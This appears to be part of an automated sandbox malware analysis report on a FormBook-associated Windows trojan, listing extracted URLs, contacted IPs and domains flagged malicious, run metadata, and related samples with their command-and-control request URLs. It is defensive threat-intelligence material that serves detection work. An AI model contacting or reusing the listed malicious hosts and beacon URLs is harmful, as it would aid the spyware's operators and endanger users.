https://hm.baidu.com/hm.js?	isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.transip.nl/vragen/198/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/service/prolong_period_anonymous?servtype=srv_hosting_ispmgr&dname_or_ip=	isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	false		high
http://cdn.jsinit.directfwd.com/sk-jspark_init.php	isoburn.exe, 00000004.00000002.4122089347.0000000005086000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002B16000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2011901492.00000000388F6000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://files.reg.ru/fonts/inter/Inter-SemiBold.woff)	isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://trustpilot.com/review/www.transip.nl	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.transip.nl/vragen/110000580/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false		high
https://files.reg.ru/fonts/inter/Inter-Medium.woff)	isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.reg.ru/hosting	UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.transip.nl/vragen/110000572	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false		high
http://parkcloud.dynadot.com/logo.gif	isoburn.exe, 00000004.00000002.4122089347.00000000053AA000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002E3A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://files.reg.ru/fonts/inter/Inter-Regular.woff2)	isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://image.uc.cn/s/uae/g/3o/berg/static/index.442d968fe56a55df4c76.css	isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.transip.eu/terms-of-service/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.npstore.asia	UHPrrMeffyCaz.exe, 00000006.00000002.4122987112.0000000004ABE000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reg.ru?target=_blank	isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js	isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.transip.eu/knowledgebase/zoeken/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.npstore.asia/ahec/?XveXHZvx=kM9uZ8DSycwmMd9mOUcNXsu3ZVxRbXOcoIpBdgpgHsmMTTfOm57EajrucSnL	isoburn.exe, 00000004.00000002.4122089347.0000000006682000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000004112000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.transip.nl/services/search-domains/	UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false		high
https://files.reg.ru/fonts/inter/Inter-SemiBold.woff2)	isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.goodfont.co.kr	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://files.reg.ru/fonts/inter/Inter-Regular.woff)	isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://nl.trustpilot.com/review/www.transip.nl	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.transip.eu/question/110000577/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://transip.nl/cp/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.transip.nl/algemene-voorwaarden/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false		high
https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js	isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.fonts.com	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.transip.nl/privacy-policy/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false		high
http://altralogos.com/ahec/?XveXHZvx=3lo42cEGi68x7KhWvzM1eCzYORtkkO0ycY0hNiK/Qn4Z	isoburn.exe, 00000004.00000002.4122089347.00000000061CC000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003C5C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sakkal.com	WrrCV4QR2J.exe, 00000000.00000002.1686390703.0000000005980000.00000004.00000020.00020000.00000000.sdmp, WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://pdds.quark.cn/download/stfile/rrxtuszryrsvrtzte/QuarkCloudDrive-v2.5.43-release-pckk	isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false		high
https://crash-reports.mozilla.com/submit?id=	isoburn.exe, 00000004.00000003.2011823112.0000000007C8E000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://transip.eu/cp/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.transip.eu/question/110000576/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://transip.eu/	UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://files.reg.ru/fonts/inter/Inter-Medium.woff2)	isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://2domains.ru	isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.transip.eu/knowledgebase/entry/284-start-sending-receiving-email-domain/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.transip.eu/question/100000230	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/hosting/	isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
131.153.147.90	instantconvey.com	United States	19437	SS-ASHUS	true
37.97.254.27	wrautomotive.online	Netherlands	20857	TRANSIP-ASAmsterdamtheNetherlandsNL	true
162.241.252.161	thecoloringbitch.com	United States	46606	UNIFIEDLAYER-AS-1US	true
94.23.162.163	www.domainappraisalbot.com	France	16276	OVHFR	true
34.117.26.57	www.611erhm.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	true
162.222.226.77	alldaysslimmingstea.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
85.159.66.93	natroredirect.natrocdn.com	Turkey	34619	CIZGITR	true
185.74.252.11	altralogos.com	Lithuania	59939	WIBO-ASLT	true
52.220.48.161	dns.ladipage.com	United States	16509	AMAZON-02US	true
81.169.145.70	fam-scharf.net	Germany	6724	STRATOSTRATOAGDE	true
37.140.192.89	www.makeinai.online	Russian Federation	197695	AS-REGRU	true
74.208.236.181	www.user4deepriver.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
104.21.18.253	www.poria.link	United States	13335	CLOUDFLARENETUS	true
107.178.250.177	www.77moea.top	United States	15169	GOOGLEUS	false
66.29.155.54	www.nesmalt.info	United States	19538	ADVANTAGECOMUS	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1356273
Start date and time:	2023-12-08 14:49:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	WrrCV4QR2J.exe renamed because original name is a hash value
Original Sample Name:	dc9c5d5251164a289cac05382c699c11fb51463f88fea60746dd571e1feeb5fc.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@17/15
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 99% Number of executed functions: 139 Number of non-executed functions: 338
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target UHPrrMeffyCaz.exe, PID 2364 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
VT rate limit hit for: WrrCV4QR2J.exe

Simulations

Behavior and APIs

Time	Type	Description
14:49:55	API Interceptor	2x Sleep call for process: WrrCV4QR2J.exe modified
14:50:42	API Interceptor	11099016x Sleep call for process: isoburn.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
131.153.147.90	PO_YTWHDF3432.exe	Get hash	malicious	FormBook	Browse	www.instantconvey.com/ahec/?Ot=SEtDmKR01RO/v1cj8toEclhnh+z+cFCFQ+LqZaILuKhM8xDFx1nbKCOFshx5Sqoz6Az3phyVzpkjs7F2QS7dClcm7p6TyxSZVg==&6d=QlZl
	PO_CCTEB77.exe	Get hash	malicious	FormBook	Browse	www.instantconvey.com/ahec/?Vjk=-N-tntX&KHcH=SEtDmKR01RO/v1cj8toEclhnh+z+cFCFQ+LqZaILuKhM8xDFx1nbKCOFshx5Sqoz6Az3phyVzpkjs7F2QS7dClw6x6iQ2E33Xw==
	PO_VCFGA1010.exe	Get hash	malicious	FormBook	Browse	www.instantconvey.com/ahec/?TrRXYB=SEtDmKR01RO/v1cj8toEclhnh+z+cFCFQ+LqZaILuKhM8xDFx1nbKCOFshx5Sqoz6Az3phyVzpkjs7F2QS7dFlwn16ST0xT3ScnWnfliYcAA&NRpHp=DLPh_Z
37.97.254.27	Antndte.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.rocsys.net/3hr5/?TZd=WvKXMpNdKcx12PohJdQ2Nu7zrY//6AeCNDisJJSnngoH0SI3JFeqPH7/T9Xi9rN0AVbH68W87D80yQtOqBVkzxSvcNI04lJ+LQ==&1dr=yP5PQD38
	hesaphareketi-01.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.rocsys.net/uaaq/?XFs82=6R5Xx6907&9pG0L=ZvgtLzuC5J0fwHYuRehKE7pqe+TegS3vAv4ZEylVZ8S9BUo4tJK/O+Yy7erX60uFZvklPnpu2szjI2ePXJ09nWZe2eIrY7ioDA==
	New_Order.exe	Get hash	malicious	FormBook	Browse	www.wrautomotive.online/fdo5/?540H2x=tmpHADT4fdGVd6nnK8VfxTcjTEmAMjvmemW+C4Ol5iYH1IbYxa+keO9dRydEANAVQTW4GcRzv85KoC+8HtmJLO5vdlfv2fS0QQ==&fXUX=ShJ8DFcXvtj84pw
	PO_YTWHDF3432.exe	Get hash	malicious	FormBook	Browse	www.wrautomotive.online/ahec/
	PO_CCTEB77.exe	Get hash	malicious	FormBook	Browse	www.wrautomotive.online/ahec/?KHcH=5igDJT3zPYxoznSYBBpd18gTi2dx8KCRz+D9mmXj9CLVcvHmJGefSTTLw3ACEWBDJ4ZMU5QrLRnI3LOtkf+zzorQEnBYkPkOfg==&Vjk=-N-tntX
	Fpopgapwdcgvxn.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.kermisbedrijfkramer.online/ao65/?3f94p=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS2/Y+YwQBdR3MSzENA==&ojq4i=mFNh5n78I22D3DgP
	Product_Specs.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.wrautomotive.online/ur4g/?vxM0=G80Xg2gxjV&eh=GM1abjaFQeRWF1TbL/6IPq6IQ8Zq6L6A/eGtDh+rzhSfkUEKySbsXXOahwAFIXwkymySVlBBxGC7SDgkYy5RlvrvRaU4SsaPnA==
	PO_VCFGA1010.exe	Get hash	malicious	FormBook	Browse	www.wrautomotive.online/ahec/?TrRXYB=5igDJT3zPYxoznSYBBpd18gTi2dx8KCRz+D9mmXj9CLVcvHmJGefSTTLw3ACEWBDJ4ZMU5QrLRnI3LOtkf+z0orNAnxbm6AOaCZvJNva1SPD&NRpHp=DLPh_Z
	25-23PJSM-653.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.rocsys.net/uaaq/?Zvo88=ZvgtLzuC5J0fwHYuRehKE7pqe+TegS3vAv4ZEylVZ8S9BUo4tJK/O+Yy7erX60uFZvklPnpu2szjI2ePXJ09nWZe2eIrY7ioDA==&5j=JXHP5xY8
	PAGAMENTO_INV-85732.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.qa-manny.com/cvps/?ojQxW=_LZhZtRhEB2XP&-Lkxp=YYStJbUf5TaZehAWHAdvcDwKkN8dqWyQyqo9RJP/Q7ViCmgow6wyh8/3RNpMerc2KWMLTTY6CI9NpXl7SvcbIbeUXgqX6DnaKg==
	file.exe	Get hash	malicious	FormBook	Browse	www.wrautomotive.online/fdo5/?7F=tmpHADT4fdGVd6nnK8VfxTcjTEmAMjvmemW+C4Ol5iYH1IbYxa+keO9dRydEANAVQTW4GcRzv85KoC+8HtmJLO5vdlfv2fS0QQ==&zf7=WxIPUXb0
	Order_confirmation,_Invoice.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.kermisbedrijfkramer.online/ao65/?Urwl=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS2/Y+YwQBdR3MSzENA==&S0GhC=_R-phJeXT
	INV#761538.exe	Get hash	malicious	FormBook	Browse	www.qa-manny.com/cvps/?kDuhz=t6NP562HYH_&pf5=YYStJbUf5TaZehAWHAdvcDwKkN8dqWyQyqo9RJP/Q7ViCmgow6wyh8/3RNpMerc2KWMLTTY6CI9NpXl7SvcbIbeUXgqX6DnaKg==
	137-AGROCHLOPECKI_OFFER_list.xls	Get hash	malicious	FormBook	Browse	www.rocsys.net/g81o/?t8F43Dx=Xpn7ovWGDL38rcQsVj9M+fSKcj+67g3pDTSuqHneUyb3n+qAvdqStutd5ioDJ87L1Kdi6p0jXbywk+j2nUztgIlZl1ilwP64qP32EII=&xphPK=azPpsjMX1
	NNL_PO_1023008.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.rocsys.net/uaaq/?w89D=LxmD0p&UX=ZvgtLzuC5J0fwHYxUOhDE7BocrPe2y3vAv4ZEylVZ8S9BUo4tJK/O+Yy7erX60uFZvklPnpu2szjI2ePXJ09mUhv++5catqsVQ==
	003425425124526.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.kermisbedrijfkramer.online/ao65/?GR0=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS1HIoJcoA9wm&IDK=RJBh5RS0IZO8zhrP
	Document.exe	Get hash	malicious	FormBook	Browse	www.qa-manny.com/cvps/?Tb-PA8s8=YYStJbUf5TaZehAWHAdvcDwKkN8dqWyQyqo9RJP/Q7ViCmgow6wyh8/3RNpMerc2KWMLTTY6CI9NpXl7SvcbIbeUXgqX6DnaKg==&0H=BrFhG8npvv
	Hubnnuiisapctu.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.kermisbedrijfkramer.online/ao65/?2d=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS2/hhpQTPLNwMSzDew==&3fC=vZeTzRlX84SHE
	Invoice.exe	Get hash	malicious	Unknown	Browse	www.wrautomotive.online/9hnx/?qjEABCG=x93wZY5flbcWgBQ+QBIan4Q/Fzujwl2X6zdiZc2Bln/4Iyn/0F+0HT2oZzLfP234arynxKxgoTzQXViUvY11cUD95//AJ74tDA==&KD=eYDR
	Factura_1-000816pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.vdb2b.com/hedt/?iOOH=EEEIB&iC8-0=zKoVcsC5grZr6pX8QDgaiztoD/aYyGD3cWBaSuIr6nSXyRLF9phHpQybJRV7E4N8LdJP/dJhO/XvQgvS05+WXwT8k1ve1mAG6g==

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.nesmalt.info	PO_YTWHDF3432.exe	Get hash	malicious	FormBook	Browse	66.29.155.54
	PO_CCTEB77.exe	Get hash	malicious	FormBook	Browse	66.29.155.54
	HSBC_Payment_Advice_pdf.exe	Get hash	malicious	FormBook	Browse	66.29.155.54
	HSBC_Payment_Advice_pdf.exe	Get hash	malicious	FormBook	Browse	66.29.155.54
	PO_VCFGA1010.exe	Get hash	malicious	FormBook	Browse	66.29.155.54
	pPi18YXmEM.exe	Get hash	malicious	FormBook	Browse	66.29.155.54
	TNT_Invoice_pdf.exe	Get hash	malicious	FormBook	Browse	66.29.155.54
	HSBC_Payment_Adice_pdf.exe	Get hash	malicious	FormBook	Browse	66.29.155.54
	SecuriteInfo.com.Win32.DropperX-gen.20545.21398.exe	Get hash	malicious	DBatLoader, FormBook	Browse	66.29.155.54
www.makeinai.online	PO_YTWHDF3432.exe	Get hash	malicious	FormBook	Browse	37.140.192.89
